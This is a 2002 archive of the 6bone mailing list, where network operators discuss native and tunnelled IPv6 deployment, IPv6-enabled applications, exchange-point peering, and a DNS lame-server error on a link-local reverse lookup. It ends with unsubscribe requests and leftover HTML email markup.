> 
> > We run native IPv6 as well as tunnels here in the UK, from 
> > Telehouse, London. 
> > 
> > If we want to be able to reach everyone on the 6bone we have to use
> > tunnels as there are not enough ISP's doing it native. 
> > 
> > Regards,
> > Chris
> > 
> > 
> > On 10 Apr 2002 at 20:42, Scott Martin wrote:
> > 
> > > 
> > > 
> > > 
> > > -snip-
> > > > until Abilene is able to run native v6. Soon. . .
> > > > 
> > > > Bill (who is currently running native v6)
> > > 
> > > Are there any medium to large size ISP's either running native
> > > IPv6 or ip+ipv6 simultaneously?
> > > 
> > > Thanks,
> > > -Scott (who is currently running v6 tunneled :-) ) 
> > 
> > 
> > 



From 6bone-owner  Thu Apr 11 09:13:39 2002
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Date: Thu, 11 Apr 2002 18:13:35 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Ben Winslow <rain@bluecherry.net>
Cc: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use
Message-ID: <20020411161335.GC20509@bfib.colo.bit.nl>
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Hi,
	
I am sometimes amazed on how many people seem to feal that IPv6 is not
yet in use. Although I do not know any company that is truely running
production (paid) services with it, many endusers I know of (300 or
more) use IPv6 on a daily basis, most of them to circumvent NAT problems
at ISPs that give them 1 IP per dialup/cablemodem.

For the newcomers here, and also for any European entity who would wish
to gain pTLA status at some time, please visit http://www.ipng.nl/ and
see what Jeroen and I have been building for the last 3 years. 
Anyone with a brain, a static IPv4 address and 24/7 connectivity can
join at our site.

I actually agree with Pekka that you should try to keep traffic local
and look for a tunnelbroker in your area, I'm sure that http://hs247.com/
has a list for you.

| > I personally use on day by day basis, IPv6 enabled:
| >  - SSH (PuTTY :)
| How did you accomplish this?  PuTTY seems to use IPv4 for me, although
| OpenSSH (which I use the majority of the time by far) works fine. 
Jeroen has ported it himself, and you can download a copy from his pages
at http://unfix.org/projects/ipv6/ or simply download a newer version
because the author of PuTTY has incorporated Jeroen's patches into the
CVS. Jeroen does wonderful work on porting apps we need at IPng ;-)

| >  - SMTP
Postfix works fine with patches. Sendmail works also fine.

| >  - Quake 1 + 2*
heh.

| >  - HTTP
| >  - X
| I'm curious: Have you accomplished this without ssh tunneling?  (Not
| that it's a good idea to do otherwise much anymore, but...) 
X can work fine over IPv6, I don't remember ever having to patch
anything. The server simply opens a listen socket in the AF_INET6 world.

I also use NFS over IPv6 (since NetBSD started supporting this), it
works fine for me, even on 100 mbps MAN connections.

| IRC....LAN/Internet/Host 
| (If anyone on the list frequents Efnet, hybrid-7 has IPv6
| support--assuming they get a move on, this should make it the largest
| IPv6-enabled network (assuming that people run ircd on ipv6 hosts, but I
| have reason to believe that some will))
The IRCNet ircd has support since 2.9, full fledged however the coding
team there is thinking about a rewrite of the code so it is less hacky
and more of what you'd come to expect from portable code (eg, struct
sockaddr and getaddrinfo() et al) 

	groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu Apr 11 09:35:37 2002
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From: "Kris Pate" <krispate@yahoo.com>
To: <6bone@ISI.EDU>
Subject: RE: [OT] IPv6 applications in active use
Date: Thu, 11 Apr 2002 11:35:38 -0500
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Has anyone ported VoIP applications to IPv6 (ie. SIP phones or
gateways)? We had a vendor that had IPv6 support on their roadmap for
their SIP phones and proxy until their funding fell short.

Kris Pate
v772-3525
(972) 729-3525
Kris.Pate@wcom.com
<><   

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of Ben
Winslow
Sent: Thursday, April 11, 2002 2:22 AM
To: 6bone@ISI.EDU
Subject: [OT] IPv6 applications in active use


Jeroen's post sparked interest in knowing what people are currently
using with IPv6 support on a regular basis.  I'll add what I can think
of off the top of my head and add some questions that may benefit other
list members as well as myself. 
> I personally use on day by day basis, IPv6 enabled:
>  - SSH (PuTTY :)
How did you accomplish this?  PuTTY seems to use IPv4 for me, although
OpenSSH (which I use the majority of the time by far) works fine. 
>  - SMTP
>  - Quake 1 + 2*
>  - HTTP
>  - X
I'm curious: Have you accomplished this without ssh tunneling?  (Not
that it's a good idea to do otherwise much anymore, but...) 
> 
I've also been wondering (although this is really beyond the scope of
the list) why Mozilla on Win32 lacks IPv6 support (IE works fine.)  I
believe that WinXP ships with integrated IPv6 (I've never used it, so I
can't say for certain), so it seems a little puzzling to me that IPv6
support is not there at all. 

As for IPv6 applications I use on a regular basis, the ones that
immediately come to mind are: 
HTTP...LAN/Internet/Host 
SSH....LAN/Internet/Host (mostly LAN) 
Finger..............Host 
(I claim to have the only IPv6-enabled finger daemon written in shell
script--it even does ident lookups.  finger @halcyon.bluecherry.net or
http://halcyon.bluecherry.net/~rain/simple-fingerd (warning: ugly hack))
IRC....LAN/Internet/Host 
(If anyone on the list frequents Efnet, hybrid-7 has IPv6
support--assuming they get a move on, this should make it the largest
IPv6-enabled network (assuming that people run ircd on ipv6 hosts, but I
have reason to believe that some will))
X......LAN
(via SSH)

Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
besides Exim support IPv6?  What MUAs support IPv6?

ssh, HTTP, and nfs make up the majority of my traffic, so I'm more or
less content.

-- 
Ben Winslow (rain@bluecherry.net) : I'm from the South Bronx, and I
       System Administrator       : don't care what you say: those
   Bluecherry Internet Services   : cows look dangerous. -- Colin
    http://www.bluecherry.net/    : Powell  
          (573) 592-0800          : 


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From 6bone-owner  Thu Apr 11 09:40:52 2002
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Date: Thu, 11 Apr 2002 09:40:52 -0700
From: Andreas Ott <andreas@naund.org>
To: 6bone@ISI.EDU
Subject: Lame server on '....0.8.e.f.ip6.int'
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Hello,
after I plugged in a new host on a private network this morning, I got 
this error in the name server syslog:

Apr 11 08:54:28 hal9000 named[17197]: Lame server on 'c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.int' (in 'ip6.int'?): [128.250.1.21].53 'munnari.oz.au'

On a side note, I have trouble extracting a contact address for this host
out of whois, using the whois.apnic.net server (the latter problem might
be pilot error).
Thanks, andreas
-- 
Andreas Ott                            andreas@naund.org

From 6bone-owner  Thu Apr 11 11:26:33 2002
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From: Bruce Campbell <bruce_campbell@ripe.net>
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To: 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int'
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On Thu, 11 Apr 2002, Andreas Ott wrote:

> Hello,
> after I plugged in a new host on a private network this morning, I got
> this error in the name server syslog:
>
> Apr 11 08:54:28 hal9000 named[17197]: Lame server on 'c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.int' (in 'ip6.int'?): [128.250.1.21].53 'munnari.oz.au'

I think you want to be setting up:

c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.f.3.ip6.int

( note additional 'f.3.' before 'ip6.int' )

> On a side note, I have trouble extracting a contact address for this host

kre (Robert Elz) is the contact for munnari, as divulged by:

	host -t txt e.f.f.3.ip6.int | grep munnari

A lot of ip6.int zones apparently hosted at munnari are not served by
munnari (see both kre and bill manning for this).

> out of whois, using the whois.apnic.net server (the latter problem might
> be pilot error).

Whois.apnic.net is not currently authoritative for any IPv4 address that
munnari is bound to.

--==--
Bruce.

Speaking for myself


From 6bone-owner  Thu Apr 11 11:31:03 2002
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Subject: Re: Lame server on '....0.8.e.f.ip6.int'
In-Reply-To: <20020411094052.A19832@naund.org> from Andreas Ott at "Apr 11, 2 09:40:52 am"
To: andreas@naund.org (Andreas Ott)
Date: Thu, 11 Apr 2002 11:31:06 -0700 (PDT)
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% Hello,
% after I plugged in a new host on a private network this morning, I got 
% this error in the name server syslog:
% 
% Apr 11 08:54:28 hal9000 named[17197]: Lame server on 'c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.int' (in 'ip6.int'?): [128.250.1.21].53 'munnari.oz.au'


	Looks like a typo on munnari.
	the proper delegation would be:

	c.c.(...).e.f.f.3.ip6.int  

	could be that there are some oddities since the servers for ip6.int
	have some RR types that older versions of BIND have problems with.

to wit:

;; ADDITIONAL SECTION:
y.ip6.int.              86400   IN      AAAA    3ffe:50e::1
z.ip6.int.              86400   IN      A       198.32.2.66
z.ip6.int.              86400   IN      A6      0 3ffe:0:1::c620:242
z.ip6.int.              86400   IN      AAAA    3ffe:0:1::c620:242
ns3.nic.fr.             55930   IN      A       192.134.0.49
flag.ep.net.            86400   IN      A       198.32.4.13
flag.ep.net.            86400   IN      A6      0 3ffe:805::2d0:b7ff:fee8:c4d9
munnari.oz.au.          142306  IN      A       128.250.22.2
munnari.oz.au.          142306  IN      A       128.250.1.21

;; Query time: 15 msec
;; SERVER: 3ffe:805::2d0:b7ff:fee8:c4d9#53(3ffe:805::2d0:b7ff:fee8:c4d9)
	------------------------------------------------------
% 
% On a side note, I have trouble extracting a contact address for this host
% out of whois, using the whois.apnic.net server (the latter problem might
% be pilot error).
% Thanks, andreas
% -- 
% Andreas Ott                            andreas@naund.org
% 


-- 
--bill

From 6bone-owner  Thu Apr 11 11:36:03 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <itojun@iijlab.net>, "'Scott Martin'" <swm@wayport.net>
Cc: "'6BONE List'" <6bone@ISI.EDU>
Subject: RE: native IPv6
Date: Thu, 11 Apr 2002 20:35:51 +0200
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itojun@iijlab.net wrote:

> >> until Abilene is able to run native v6. Soon. . .
> >> Bill (who is currently running native v6)
> >Are there any medium to large size ISP's either running 
> native IPv6 or
> >ip+ipv6 simultaneously?
> 
> 	there are quite a few ISPs running IPv6 native in Japan, like:
> 		IIJ	http://www.iij.com/
> 		NTT	http://www.ntt.com/
> 	(yes, there are a lot more)
> 
> 	vBNS seems to be running IPv6 native.
> 
>	http://www.wide.ad.jp/nspixp6/ (Tokyo IPv6 peering point)
>	http://6bone.v6.wide.ad.jp/ipv6-service.html
>	should give you more idea.
>
>	at this moment it is a common practice to run separate backbone
for
>	IPv4 and IPv6 - because of router firmware stability reasons
(for
>	example, IPv6 is not available for cisco S train firmwares).
>	I hope it to change sooner.
>
>itojun

AMS-IX does IPv6 and IPv4 over the same shared medium.

Other IX's supporting native IPv6 can be found at:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Internet_Excha
nges/

And Access Providers / ISP's:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Access_Provide
rs/

Did I spam those already? :)
Ofcourse if you got more, don't hesitate to submit!

Greets,
 Jeroen


From 6bone-owner  Thu Apr 11 12:29:40 2002
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Date: Thu, 11 Apr 2002 22:28:03 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: info@caladan.net
cc: Tim Chown <tjc@ecs.soton.ac.uk>, <6bone@ISI.EDU>
Subject: RE: bad tunnel topology
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On Thu, 11 Apr 2002 info@caladan.net wrote:
> We were one of the first to join UK6X but since joining it's gone 
> dead, there seems to be no interest - we never get any emails from 
> the mailing list anymore and repeated requests to peer results in 
> responses like "soon" or "we'd love to peer but were not ready yet", 
> etc :( 
> 
> So unless you know different? We have cables between ourselves 
> and UK6X and ourselves and UUNET, If anyone else would like to 
> peer with us natively either direct or via UK6X, we have a presence 
> in Telehouse, London and MCC, Manchester. 

I have no idea about policies etc. and what organizations are there and 
how big you are, but at least in IPv4 world, some big players are 
reluctant to peer with smaller players, have a customer relationship.

Perhaps some in UK6x feel this way.  IPv6 is not all that much business 
now, but peering might be difficult to remove gracefully later on.

Or perhaps people there just don't care.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Apr 11 12:31:26 2002
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From: Takeshi Kusune <kusune@sfc.wide.ad.jp>
To: 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int'
In-reply-to: Your message of "Thu, 11 Apr 2002 20:26:30 JST."
             <Pine.LNX.4.44.0204111953190.1546-100000@x22.ripe.net>
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In the mail at Thu, 11 Apr 2002 20:26:30 +0200 (CEST),
  Subject: Lame server on '....0.8.e.f.ip6.int'
    Bruce Campbell <bruce_campbell@ripe.net> wrote:

 >> On Thu, 11 Apr 2002, Andreas Ott wrote:

 >> > Apr 11 08:54:28 hal9000 named[17197]: Lame server on 'c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.int' (in 'ip6.int'?): [128.250.1.21].53 'munnari.oz.au'
 >> 
 >> I think you want to be setting up:
 >> c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.f.3.ip6.int
 >> ( note additional 'f.3.' before 'ip6.int' )

When is IPv6 address extended to 136 bits? :-)
I think it is for a link-local address.
--
Takeshi Kusune <kusune@sfc.wide.ad.jp>

From 6bone-owner  Thu Apr 11 13:47:03 2002
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Date: Thu, 11 Apr 2002 22:45:27 +0200
From: Kurt Roeckx <Q@ping.be>
To: Bruce Campbell <bruce_campbell@ripe.net>
Cc: 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int'
Message-ID: <20020411224527.A1451@ping.be>
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On Thu, Apr 11, 2002 at 08:26:30PM +0200, Bruce Campbell wrote:
> On Thu, 11 Apr 2002, Andreas Ott wrote:
> 
> > Hello,
> > after I plugged in a new host on a private network this morning, I got
> > this error in the name server syslog:
> >
> > Apr 11 08:54:28 hal9000 named[17197]: Lame server on 'c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.int' (in 'ip6.int'?): [128.250.1.21].53 'munnari.oz.au'
> 
> I think you want to be setting up:
> 
> c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.f.3.ip6.int
> 
> ( note additional 'f.3.' before 'ip6.int' )

It's a link-local address that has a problem.  It's
fe80::a00:20ff:fe72:3fcc

It should just return that there is no such domain.


Kurt


From 6bone-owner  Thu Apr 11 14:03:43 2002
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To: Bruce Campbell <bruce_campbell@ripe.net>
cc: 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int' 
In-reply-to: Your message of "Thu, 11 Apr 2002 20:26:30 +0200."
             <Pine.LNX.4.44.0204111953190.1546-100000@x22.ripe.net> 
Date: Thu, 11 Apr 2002 14:03:38 -0700
From: Stephen Stuart <stuart@tech.org>
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> ( note additional 'f.3.' before 'ip6.int' )

Actually, it looked like reverse for a link-local address, which would
appear under 0.8.e.f.ip6.int.

Stephen

From 6bone-owner  Thu Apr 11 15:22:57 2002
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Date: Thu, 11 Apr 2002 15:22:56 -0700
From: Andreas Ott <andreas@naund.org>
To: Bruce Campbell <bruce_campbell@ripe.net>
Cc: 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int'
Message-ID: <20020411152256.B20378@naund.org>
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Hi,
On Thu, Apr 11, 2002 at 08:26:30PM +0200, Bruce Campbell wrote:
> I think you want to be setting up:
> c.c.f.3.2.7.e.f.f.f.0.2.0.0.a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.f.3.ip6.int
> ( note additional 'f.3.' before 'ip6.int' )

Not really, that would be 136-bit (34 * 4). The problem originated by some
box on my network doing a reverse DNS lookup on the link-local
	inet6 fe80::a00:20ff:fe72:3fcc%le0 prefixlen 64 scopeid 0x1
and that triggered the named error message in syslog. I still don't understand
why any machine would do this reverse lookup shortly after the new machine
booted, but it should not return any configuration error.

> kre (Robert Elz) is the contact for munnari, as divulged by:
> 	host -t txt e.f.f.3.ip6.int | grep munnari
Thnx, I think he will see the conversation over this list at some point ;-) .

-andreas
-- 
Andreas Ott                            andreas@naund.org

From 6bone-owner  Thu Apr 11 15:34:14 2002
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From: Feico Dillema <feico@pasta.cs.uit.no>
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Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
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On Thu, Apr 11, 2002 at 05:00:14PM +1000, Merlin wrote:
> So in conclusion - I suspect that very few people actually understand about esoteric details like latency on pure IPv6
> machines. But I could point at a user group who I'm sure would love to get their teeth into setting up any number of
> hosts, even virtual hosts, behind their one assigned IPv4 address. If someone could come up  with something that was

Here 's the package (a perl script) that does it all for you on
NetBSD:

ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/6to4/README.html

Step 0: man 6to4 and read the instructions or alternatively:

Step 1: edit 6to4.conf (basically, uncomment the relay you want to use)
Step 2: run: `6to4 start`
Step 3: ping6 www.kame.net

Probably the same works on the other *BSDs. I don't think it get's
more simple than that. Not much anyway.
 
> If IPv6 is to be rolled out and not forgotten, people need to be able to implement it on their existing networks.
Well, people can and people do. We've run IPv6 only in our lab and at
home for more than 2 years now, and things simply work and I've almost
forgotten how to split a 3bit IPv4 net in 2 subnets just to add
wireless connectivity to my home e.g. ;-}

My IPv6 (only!) home router says:

1 dillema@spam.dillema.net:~> uptime
10:43PM  up 359 days,  7:34, 0 users, load averages: 0.32, 0.14, 0.10

and I've almost forgotten were it is. I'll find it (and take it down.
snif) when I move house soon. 

We have many such homerouters around, used to give faculty members
and students wavelan connectivity from university to the home. Many of
them hardly new what a netmask was, but all managed to set up
their own NetBSD IPv6 router by following the instructions in e.g.
http://www2.no.netbsd.org/Documentation/network/ipv6/

I bet on some other OSes there's is or will be some button to press to 
simply enable or disable IPv6 and/or 6to4, or maybe it will `just be
there'. Most people won't care. Those that do and are in the business
of setting up routers, may be required to read and follow some
instructions. Soon, I expect some router configuration protocol will
also make that unecessary for regular clients of ISPs.

In short, I do not think IPv6 has a problem here. Quite the contrary.
When handing out 2bit IPv4 nets to people at home, we typically ended
up configuring things for them. With IPv6 saying: ``follow the
instructions of the FAQ'' typically works out just fine.

Feico Dillema.
 - Almost but not quite entirely a problem.

From 6bone-owner  Thu Apr 11 18:21:35 2002
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Subject: Re: [OT] IPv6 applications in active use 
From: itojun@iijlab.net
Date: Fri, 12 Apr 2002 10:21:34 +0900
Message-ID: <1052.1018574494@itojun.org>
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>Has anyone ported VoIP applications to IPv6 (ie. SIP phones or
>gateways)? We had a vendor that had IPv6 support on their roadmap for
>their SIP phones and proxy until their funding fell short.

	a company called "softfront" has VoIP stack/application.
	couldn't find any english webpage, but here are the URLs
	(2nd one includes contact for their San Jose branch):
	http://www.softfront.co.jp/tech/ipv6.html
	http://www.softfront.co.jp/contact/office.html

itojun

From 6bone-owner  Thu Apr 11 18:45:48 2002
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To: Kurt Roeckx <Q@ping.be>
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Subject: Re: Lame server on '....0.8.e.f.ip6.int' 
From: itojun@iijlab.net
Date: Fri, 12 Apr 2002 10:45:24 +0900
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>It's a link-local address that has a problem.  It's
>fe80::a00:20ff:fe72:3fcc
>It should just return that there is no such domain.

	DNS is a worldwide, global, database.  link-local addresses (and site-
	local addresses) are local to your link (or site).  you cannot reverse-
	resolve (or forward-resolve) link-locals or site-locals.

	if you really want to do that, you have a couple of ways:
	- configure a local nameserver that serves 0.8.e.f.ip6.int, just like
	  you would configure nameservers for private addressees.  be sure not
	  to leak information from the zone.
	- use icmp6 name lookup protocol instead
	  (draft-ietf-ipngwg-icmp-name-lookups-08.txt)

	in any case, link-locals are not really for daily use.

itojun

From 6bone-owner  Thu Apr 11 18:57:31 2002
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Subject: Re: IPv6 applications in active use 
From: itojun@iijlab.net
Date: Fri, 12 Apr 2002 10:57:32 +0900
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>> >  - X
>> I'm curious: Have you accomplished this without ssh tunneling?
>I'm curious too; last time I checked X11 needed major work to support IPv6.

	there was a patch for XFree86 3.3.x from INRIA.  yes, it needs a major
	work, and it does not support scoped address yet (does not use
	sockaddrs).  files are mirrored and kept at:
	ftp://ftp.kame.net/pub/inria/x11/

itojun

From 6bone-owner  Fri Apr 12 00:16:02 2002
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From: info@caladan.net
To: 6bone@ISI.EDU
Date: Fri, 12 Apr 2002 08:13:59 +0100
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On 11 Apr 2002 at 22:28, Pekka Savola wrote:
> On Thu, 11 Apr 2002 info@caladan.net wrote:
>
> > So unless you know different? We have cables between ourselves and
> > UK6X and ourselves and UUNET, If anyone else would like to peer with
> > us natively either direct or via UK6X, we have a presence in
> > Telehouse, London and MCC, Manchester. 
> 
> I have no idea about policies etc. and what organizations are there
> and how big you are, but at least in IPv4 world, some big players are
> reluctant to peer with smaller players, have a customer relationship.
> 
> Perhaps some in UK6x feel this way.  IPv6 is not all that much
> business now, but peering might be difficult to remove gracefully
> later on.

IPv6 is driven by the engineer and technical people, IPv4 is driven 
by the people concerned with commercial reality, so the two worlds 
(at the moment) are completely different. 

We are a relatively small ISP but even so, we manage to peer with 
most people in the IPv4 world, apart from the really big carriers, who 
as you say are reluctant or simply will not peer with us. 

In IPv6 world this is (currently) simply not the case - we have a 
direct cable to UUNET and we peer with BT at UK6X - two of the 
biggest ! 

It just seems that although the technical people are interested in 
IPv6, maybe the people who dish out the money are not yet 
convinced? 

I hope UK6X and all the other native IPv6 exchanges are a success, 
but to it's just not happening... yet. 

Chris




From 6bone-owner  Fri Apr 12 01:01:39 2002
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Subject: Re: [OT] IPv6 applications in active use
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Hi,

I regular use follwing:

- nntp ( news.ipv6.eurocyber.net, we're searching for more ipv6
newsfeeds )
- smtp ( sendmail, postfix, i transfer all my mails home over static
ipv6 address based on a dynamic ipv4 connection, xDSL )
- ssh 
- telnet ( nemesis.de Port 2000, Playing a MUD )
- http ( all of my hosted domains are accessable over v4+v6, 14 domains
)
- http freebsd mirror: http://freebsd.lostinspace.de (v4+v6)
                       http://freebsd.ipv6.lostinspace.de ( v6 only )
- native BGP4 peerings in germany. INXS( Munich) and DE-CIX ( Frankfurt
am Main )


Regards Robert



-- 
    Blechinger Robert
 
 Cybernet AG - Networking
 email: rblechinger@cybernet-ag.net
 Phone: +49 89 99315 - 116
 Fax:   +49 89 99315 - 199
 
   Love is just a kiss away...

From 6bone-owner  Fri Apr 12 04:01:49 2002
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Date: Fri, 12 Apr 2002 13:01:46 +0200
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: AMS-v6-IX member count
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Hi,

Reading about the apparent lack of interrest in (larger) ISPs I can
agree on this. However, for my local situation in The Netherlands, we
have a native peering point at the Amsterdam Internet Exchange (AMS-IX).

>From 1999 through june 2000, we had a seperate VLAN for IPv6 exchange,
but sinds Q3 2000 we are fully operational on the shared medium where
IPv4 traffic and IPv6 traffic are both exchanged.

A quick sweep of the shared medium shows that there are 129 members with
131 AS numbers on 180 ports doing IPv4 connectivity. There are currently
9 of these parties handling IPv6 traffic on 11 ports with 9 AS numbers.

I forsee this number increasing rapidly over the next 12 months, partly
due to a joint effort by some large ISPs to create a roadmap to
AMS-v6-IX in which all amsix connected parties may participate.

Groet,
Pim
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Apr 12 04:34:49 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Andreas Ott <andreas@naund.org>
cc: Bruce Campbell <bruce_campbell@ripe.net>, 6bone@ISI.EDU
Subject: Re: Lame server on '....0.8.e.f.ip6.int' 
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References: <20020411152256.B20378@naund.org>  <20020411094052.A19832@naund.org> <Pine.LNX.4.44.0204111953190.1546-100000@x22.ripe.net> 
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    Date:        Thu, 11 Apr 2002 15:22:56 -0700
    From:        Andreas Ott <andreas@naund.org>
    Message-ID:  <20020411152256.B20378@naund.org>

  | Thnx, I think he will see the conversation over this list at some point ;-) .

Yes, he did...

A new munnari with all of this stuff fixed is going to "go live" in
a couple of weeks (waiting for me to get back to Aus so I can baby sit
the transition).

Sorry about the mess with the current (old) one.

A side benefit is that the new one will be IPv6 reachable (including DNS).

kre


From 6bone-owner  Fri Apr 12 04:41:27 2002
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From: Bruce Campbell <bruce_campbell@ripe.net>
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On Fri, 12 Apr 2002 itojun@iijlab.net wrote:

> >It's a link-local address that has a problem.  It's
> >fe80::a00:20ff:fe72:3fcc
> >It should just return that there is no such domain.
>
> 	DNS is a worldwide, global, database.  link-local addresses (and site-
> 	local addresses) are local to your link (or site).  you cannot reverse-
> 	resolve (or forward-resolve) link-locals or site-locals.

And very definitely my mistake in first parsing the question as a 3ffe::
address, my apologies in leaping to an inaccurate conclusion.

On the original question, here is a quick'n'dirty script to check your
delegation chain from the root:

	#!/bin/bash

	# While we have command line arguments, loop
	while [ "$1" ] ; do
		domain=""
		for rawpart in `echo $1 | rev | tr '.' ' '` ; do
			domain="`echo $rawpart | rev`.$domain"
			# You could also use 'host -C $domain'
			# Caution - some parts of the tree may not exist -
			# the parent domain may be several steps above.
			host -t any $domain
		done
		shift
	done

--==--
Bruce.


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From: "Dafydd Giddins" <sgittz@lineone.net>
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Please remove me form your mailing list
 
sgittz@lineone.net
 
Dafydd Giddins

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<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
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Gabriela Campos

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From 6bone-owner  Fri Apr 12 06:20:54 2002
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Date: Fri, 12 Apr 2002 15:20:45 +0200 (CEST)
From: Jochen Friedrich <jochen@scram.de>
To: Harald Koch <chk@pobox.com>
cc: <6bone@ISI.EDU>
Subject: Re: [OT] IPv6 applications in active use 
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Hi Harald,

> > Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
> > besides Exim support IPv6?  What MUAs support IPv6?
>
> sendmail and fetchmail. Both have IPv6 support out-of-the-box with
> RedHat 7.2.

Here at scram! e.V., we use sendmail and cyrus imap, both with IPv6
support.

Current CVS mutt also supports IPv6, so i'm completely happy with Mail
:-).

Cheers,
--jochen


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Please remove me form your mailing list
 
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-----Original Message-----
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Sent: vrijdag 12 april 2002 13:59
To: 6bone@ISI.EDU
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Please remove me form your mailing list
 
sgittz@lineone.net <mailto:sgittz@lineone.net> 
 
Dafydd Giddins

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<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<META content=3D"Microsoft Word 10" name=3DOriginator><LINK=20
href=3D"cid:filelist.xml@01C1E221.DE0DD090" rel=3DFile-List><!--[if gte =
mso 9]><xml>
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  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:UseFELayout/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<STYLE>@font-face {
	font-family: SimSun;
}
@font-face {
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}
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}
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	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0cm 0cm 0pt; =
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	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
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SPAN.MsoHyperlink {
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personal-compose; mso-style-noshow: yes; mso-ansi-font-size: 10.0pt; =
mso-bidi-font-size: 10.0pt; mso-ascii-font-family: Arial; =
mso-hansi-font-family: Arial; mso-bidi-font-family: Arial
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	mso-style-name: ""; mso-spl-e: yes
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	page: Section1
}
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	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
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	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
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	font-family:"Times New Roman";}
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<BODY lang=3DEN-GB link=3Dblue style=3D"tab-interval: 36.0pt" =
vLink=3Dpurple>
<DIV><FONT color=3D#0000ff size=3D2>
<P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt">Please remove me form =
your mailing=20
list<o:p></o:p></SPAN></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
style=3D"FONT-FAMILY: Arial; FONT-SIZE: =
10pt"><o:p>&nbsp;</o:p></SPAN></FONT></FONT></P></DIV>
<P><FONT size=3D2>E-mail: arun.mahabier@cmg.nl </FONT></P>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Dafydd Giddins=20
  [mailto:sgittz@lineone.net]<BR><B>Sent:</B> vrijdag 12 april 2002=20
  13:59<BR><B>To:</B> 6bone@ISI.EDU<BR><B>Subject:</B> Reomve me from =
your=20
  list<BR><BR></DIV></FONT>
  <DIV class=3DSection1>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt">Please remove me form =
your mailing=20
  list<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: =
10pt"><o:p>&nbsp;</o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt"><A=20
  =
href=3D"mailto:sgittz@lineone.net">sgittz@lineone.net</A><o:p></o:p></SP=
AN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: =
